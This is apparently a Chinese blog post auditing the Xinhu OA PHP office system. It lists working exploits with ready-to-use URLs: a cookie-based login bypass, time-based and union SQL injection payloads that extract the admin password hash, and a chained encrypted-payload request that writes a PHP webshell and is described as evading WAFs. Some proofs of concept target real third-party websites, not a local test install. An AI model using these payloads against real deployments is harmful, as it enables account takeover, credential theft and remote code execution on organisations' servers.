某oa系统的审计
title: 某oa系统的审计
date: 2018-03-07 17:18:16
tags:
信呼OA
闲着没事，java学累了来整理下以前审的一个觉得很有意思的cms，这个作者写的比较灵活，同时灵活也代表着凌乱，很多不严谨导致的很多问题，也许也是oa系统相对于一些其他类型的站点要复杂，前期架构没设计好就很容易造成诸多不便还有些问题。这个cms我觉得最有意思的就是webmainAction.php当中的一些public开头的公共方法比如publicsavevalue这样，基本都是做三件事第一有个beforexxx还有个xxx还有afterxxx会去做一些有关的事，最重要的是这些方法都是可控的，不好表述具体仔细看代码会明白，总之感觉这是一个非常灵活的cms，同时又有颇多的问题，这里逻辑层面还做的比较繁杂，仔细推敲一定还能找着不少有关逻辑层面的洞，这里简单发几个。
1.管理员登录验证绕过，可直接登录任意在线用户
在\xinhu\webmain\task\mode\modeAction.php控制器中的initAction方法，可以看到接收用户传递的adminid还有token，之后将其带入login模型的autologin方法，该方法作用是实现快速登录，具体看一下
public function autologin($aid=0, $token=\'\', $ism=0)
{
$baid = $this->adminid;
if($aid>0 && $token!=\'\'){
$rs = $this->getone("`uid`=\'$aid\' and `token`=\'$token\' and `online`=1",\'`name`\');
if(!$rs)exit(\'illegal request2\');
$this->setsession($aid, $rs[\'name\'], $token);
$baid = $aid;
}
if($baid==0){
$uid = (int)$this->rock->cookie(\'mo_adminid\',\'0\');//用cookie登录
$onrs = $this->getone("`uid`=$uid and `online`=1",\'`name`,`token`,`id`,`uid`\');
if($onrs){
$this->setsession($uid, $onrs[\'name\'], $onrs[\'token\']);
$this->update("moddt=\'".$this->rock->now."\'", $onrs[\'id\']);
}else{
$uid = 0;
}
$baid = $uid;
}
return $baid;
}
}
看到这里$this->adminid值的获取
public function initRock()
{
$this->jm = c(\'jm\', true);
$this->adminid = (int)$this->session(\'adminid\',0);
$this->adminname= $this->session(\'adminname\');
$this->adminuser= $this->session(\'adminuser\');
}
看到默认值为0
这里进入第二个if，发现这里仅仅验证cookie，得到一个uid，带入数据库查询这个uid，uid存在并且用户在线状态为1就进入if($onrs) 当中，同时设置session，并且成功登录。
利用方式（官网demo）：?m=mode&d=task&a=init&adminid=0&token=11
首先设置Cookie: xinhu_mo_adminid=1;然后访问该控制器
访问前台：成功登录！
2.前台登录接口注入
登陆接口处存在注入，无需登录，可获取管理员hash、token等重要凭据
首先\webmain\task\api\loginAction.php控制器当中的checkAction方法
{
public function checkAction()
{
$adminuser = str_replace(\' \',\'\',$this->rock->jm->base64decode($this->post(\'user\')));
$adminpass = $this->rock->jm->base64decode($this->post(\'pass\'));
$arr = m(\'login\')->start($adminuser, $adminpass);
if(is_array($arr)){
$arrs = array(
\'uid\' => $arr[\'uid\'],
\'name\' => $arr[\'name\'],
\'user\' => $arr[\'user\'],
\'ranking\' => $arr[\'ranking\'],
\'deptname\' => $arr[\'deptname\'],
\'deptallname\' => $arr[\'deptallname\'],
\'face\' => $arr[\'face\'],
\'apptx\' => $arr[\'apptx\'],
\'token\' => $arr[\'token\'],
\'iskq\' => (int)m(\'userinfo\')->getmou(\'iskq\', $arr[\'uid\']), //判断是否需要考勤
\'title\' => getconfig(\'apptitle\'),
\'weblogo\' => getconfig(\'weblogo\')
);
$uid = $arr[\'uid\'];
$name = $arr[\'name\'];
$user = $arr[\'user\'];
$token = $arr[\'token\'];
m(\'login\')->setsession($uid, $name, $token, $user);
$this->showreturn($arrs);
}else{
$this->showreturn(\'\', $arr, 201);
}
}
是做一个登录验证的api，其中调用的start()模型是一个具体的的登录验证，其中接受5个用户可控的参数
public function start($user, $pass, $cfrom=\'\', $devices=\'\')
{
$uid = 0;
$cfrom = $this->rock->request(\'cfrom\', $cfrom);
$token = $this->rock->request(\'token\');
$device= $this->rock->request(\'device\', $devices);
$ip = $this->rock->request(\'ip\', $this->rock->ip);
$web = $this->rock->request(\'web\', $this->rock->web);
中间登录过程不详细解释，其中会有一个日志记录的动作，在start方法中看到末尾
m(\'log\')->addlog(\'\'.$cfrom.\'登录\', \'[\'.$posts.\']\'.$loginx.\'\'.$logins.\'\', array(
\'optid\' => $uid,
\'optname\' => $name,
\'ip\' => $ip,
\'web\' => $web,
\'device\' => $device
));
这一步将用户输入写入日志，其中过滤了单引号还有一些特殊的关键字，这里可以绕过，具体payload如下：
http://localhost/xinhu/api.php?m=login&a=check&cfrom=pc&user=hello&pass=123&ip=testip&web==(substr((seleselect*ct+pass+from+xinhu_admin+where+id+=1),1,1)="e"%26%26sleep(5))--+&device=testdevice
查询密码第一位如果为e则延时5秒
类似这样的注入应该还有一大把，懒得看，他\ 没有过滤，稍微有点心应该都晓得怎么利用
3.where处注入
没什么可分析的。poc
http://localhost/xinhu/?d=reim&m=chat&uid=1 or 1&type=group&winobj=group_14
4.where处注入
http://localhost/xinhu/?&m=kaoqinj&a=kqjcmddel&d=main&ajaxbool=true
post:id=1) and sleep(4
public function kqjcmddelAjax()
{
$id = $this->post(\'id\');
m(\'kqjcmd\')->delete("`id` in ($id)");
showreturn();
}
5.注入
http://localhost/xinhu/api.php?a=subscribe&m=asynrun&id=1 and sleep(10) &uid&receid&recename&asynkey=2b557b98f1dc3911727681ec3f38f78c
6.注入
http://www.mianfeix.com/api.php?&m=indexreim&a=ldata
post:loaddt=MScgYW5kIDAgdW5pb24gc2VsZWN0IGlkLHVzZXIsMSwxLDEsbnVsbCxwYXNzLDEsMSBmcm9tIHhpbmh1X2FkbWluIw==sleep&type=history
7.自定义setval
C:\phpStudy\PHPTutorial\WWW\xinhu\webmain\system\email\emailAction.php
public function setsaveAjax()
{
$this->option->setval(\'email_sendhost@-1\', $this->post(\'sendhost\'));
$this->option->setval(\'email_sendport@-1\', $this->post(\'sendport\'));
$this->option->setval(\'email_recehost@-1\', $this->post(\'recehost\'));
$this->option->setval(\'email_sendsecure@-1\', $this->post(\'sendsecure\'));
$this->option->setval(\'email_sysname@-1\', $this->post(\'sysname\'));
$this->option->setval(\'email_sysuser@-1\', $this->post(\'sysuser\'));
$this->option->setval(\'email_receyumi@-1\', $this->post(\'receyumi\'));
$syspass = $this->post(\'syspass\');
if(!isempt($syspass)){
$this->option->setval(\'email_syspass@-1\', $this->jm->encrypt($syspass));
}
$this->backmsg();
}
另一个自定义val，比上面那个方便
public function savecolunmsAjax()
{
$num = $this->post(\'num\');
$modeid = (int)$this->post(\'modeid\');
$str = $this->post(\'str\');
$this->option->setval($num.\'@\'.(-1*$modeid-1000), $str,\'模块列定义\');
$path = m(\'mode\')->createlistpage($modeid);
$msg = \'ok\';
if($path==\'\')$msg=\'已保存,但无法从新生成列表页,自定义列将不能生效\';
echo $msg;
}
http://localhost/xinhu/index.php?&m=flow&a=savecolunms&ajaxbool=true&d=main
post:num=path&str=/test/a
这不算漏洞，但是可以利用这个做一些事情。
8.输出显示val
C:\phpStudy\PHPTutorial\WWW\xinhu\webmain\task\api\loginAction.php
public function checkewmAction()
{
$randkey = $this->get(\'randkey\');
$val = $this->option->getval($randkey);
echo $val;
//echo $val;exit();
//echo $val;
$data[\'val\'] = $val;
//echo $randkey;exit();
if(isempt($randkey))$this->showreturn($data);
if($val>\'0\'){
$dbs = m(\'admin\');
$urs = $dbs->getone("`id`=\'$val\' and `status`=1",\'`name`,`user`,`face`,`pass`\');
if(!$urs){
$val = \'-1\';
}else{
$data[\'user\'] = $urs[\'user\'];
$data[\'face\'] = $dbs->getface($urs[\'face\']);
$data[\'pass\'] = md5($urs[\'pass\']);
}
$this->option->delete("`num`=\'$randkey\'");
}
$data[\'val\'] = $val;
$this->showreturn($data);
}
http://localhost/xinhu/index.php?&m=email&a=setsave&d=system&ajaxbool=true
post:sendhost=1
后
http://localhost/xinhu/api.php?&m=login&a=checkewm&randkey=email_sendhost
9.输出显示val
获取服务段加密数据
poc:
http://www.realfoodco.cn/index.php?&m=email&a=publicstore&d=system&ajaxbool=true
post:storeafteraction=savebeforecog&emailpass=admin&id=1
public function savebeforecog($table, $cans)
{
$emailpass = $this->post(\'emailpass\');
if(!isempt($emailpass)){
$cans[\'emailpass\'] = $this->jm->encrypt($emailpass);
}
return array(
\'rows\' => $cans
);
}
写文件GETSHELL
这是一个很有意思的漏洞，由于该框架的实现相当灵活，这里我是利用了一些组合调用来完成的上面的7、8、9都是我为了这一步做的一些铺垫。这里姿势比较多我只介绍了一种，有幸看到文章的师傅也可以试一试
首先看问题所在的函数，C:\phpStudy\PHPTutorial\WWW\xinhu\webmain\webmainAction.php
public function exceldown($arr)
{
$fields = explode(\',\', $this->post(\'excelfields\',\'\',1));
$header = explode(\',\', $this->post(\'excelheader\',\'\',1));
$title = $this->post(\'exceltitle\',\'\',1);
$rows = $arr[\'rows\'];
$exceltype = $this->post(\'exceltype\',\'xls\'); //保存文件类型
$headArr = array();
for($i=0; $i<count($fields); $i++){
$headArr[$fields[$i]] = $header[$i];
}
$url = c(\'html\')->execltable($title, $headArr, $rows, $exceltype);
$this->returnjson(array(
\'url\' => $url,
\'totalCount\'=> $arr[\'totalCount\'],
\'downCount\' => count($rows)
));
}
这里看到默认上传接受的文件后缀是xls，这个后缀传递给c(\'html\')->execltable模型，看看这个模型的实现
/**
* 创建excel导出表格
*/
public function execltable($title, $headArr, $rows, $lx=\'\')
{
if($lx==\'\')$lx=\'xls\';
$borst = \'.5pt\';
$sty = \'style="white-space:nowrap;border:\'.$borst.\' solid #000000;font-size:12px;"\';
$s = \'<html><head><meta charset="utf-8"><title>\'.$title.\'</title></head><body>\';
$s .= \'<table border="0" style="border-collapse:collapse;">\';
$hlen = 1;
$s1=\'<tr height="30"><td \'.$sty.\'>序号</td>\';
foreach($headArr as $na){
$hlen++;
$s1.=\'<td \'.$sty.\'>\'.$na.\'</td>\';
}
$s1.=\'</tr>\';
$s.=\'<tr height="40"><td \'.$sty.\' colspan="\'.$hlen.\'">\'.$title.\'</td></tr>\';
$s.=$s1;
foreach($rows as $k=>$rs){
$s.=\'<tr height="26">\';
$s.=\'<td align="center" \'.$sty.\'>\'.($k+1).\'</td>\';
foreach($headArr as $kf=>$na){
$val = \'\';
if(isset($rs[$kf]))$val=$rs[$kf];
$s.=\'<td \'.$sty.\'>\'.$val.\'</td>\';
}
$s.=\'</tr>\';
}
$s.=\'</table>\';
$s.=\'</body></html>\';
$mkdir = \'\'.UPDIR.\'/logs/\'.date(\'Y-m\').\'\';
if(!contain(strtolower(PHP_OS),\'win\')){
$title = c(\'pingyin\')->get($title, 1);//linux要用拼音，不然会乱码
}
$filename = \'\'.$title.\'_\'.date(\'d_His\').\'.\'.$lx.\'\';
$filename = str_replace(\'/\',\'\',$filename);
$url = \'\'.$mkdir.\'/\'.$filename.\'\';
$bo = $this->rock->createtxt(iconv(\'utf-8\',\'gb2312\',$url), $s);
return $url;
}
文件名自始至终没有一个检测，利用这里我们可以写入任意文件，但是有几点需要注意，首先需要写进文件的变量是$title, $headArr,$arr,前两个是用户post后然后加密一次的变量，arr变量是调用该方法传入的一个数组参数。我这里考虑使用前者两个变量写shell，因为这样我的数据包是一次加密的这样比较隐蔽，但是这个加密函数是内部实现的，我该如何将我的字符串使用网站加密再返回给我？找到这么一个函数
C:\phpStudy\PHPTutorial\WWW\xinhu\webmain\system\email\emailAction.php
public function savebeforecog($table, $cans)
{
$emailpass = $this->post(\'emailpass\');
if(!isempt($emailpass)){
$cans[\'emailpass\'] = $this->jm->encrypt($emailpass);
}
return array(
\'rows\' => $cans
);
}
post(\'emailpass\')后返回回去，有了这个函数，还有漏洞，就差一把枪，也就是该如何调用。
由于这个框架直接路由调用的方法都是以Ajax或者Action结尾的方法，这两个方法都不能如此直接路由调用，这里就找到一些公共方法。首先是加密这一块，我调用publicstoreAjax()方法，其中会接受参数进行下一步的操作
访问
http://localhost/xinhu/index.php?&m=email&a=publicstore&d=system&ajaxbool=true
post数据:storeafteraction=savebeforecog&emailpass=&id=1
这样生成加密字符串
拿到加密字符串后开始正式写shell
访问：http://localhost/xinhu/index.php?&a=publicsavevalue&ajaxbool=true
post数据:fieldsafteraction=exceldown&exceltype=php&excelheader=hx0oh0kt0nnl0lt0tv0ok0nxp0ll0kn0nxh0nvv0nxx0tn0ho0nno0tk0ot0tu0nnv0ll0tn0th0nnh0lh0nxl0lx0nnv0lx0nvn0tp0nnv0hx0nvv0kv0kh03
写文件
生成成功，验证一下
由于我写入的字符串post的时候就是加密一次的，所以这里自带过滤，可以过一些waf等防护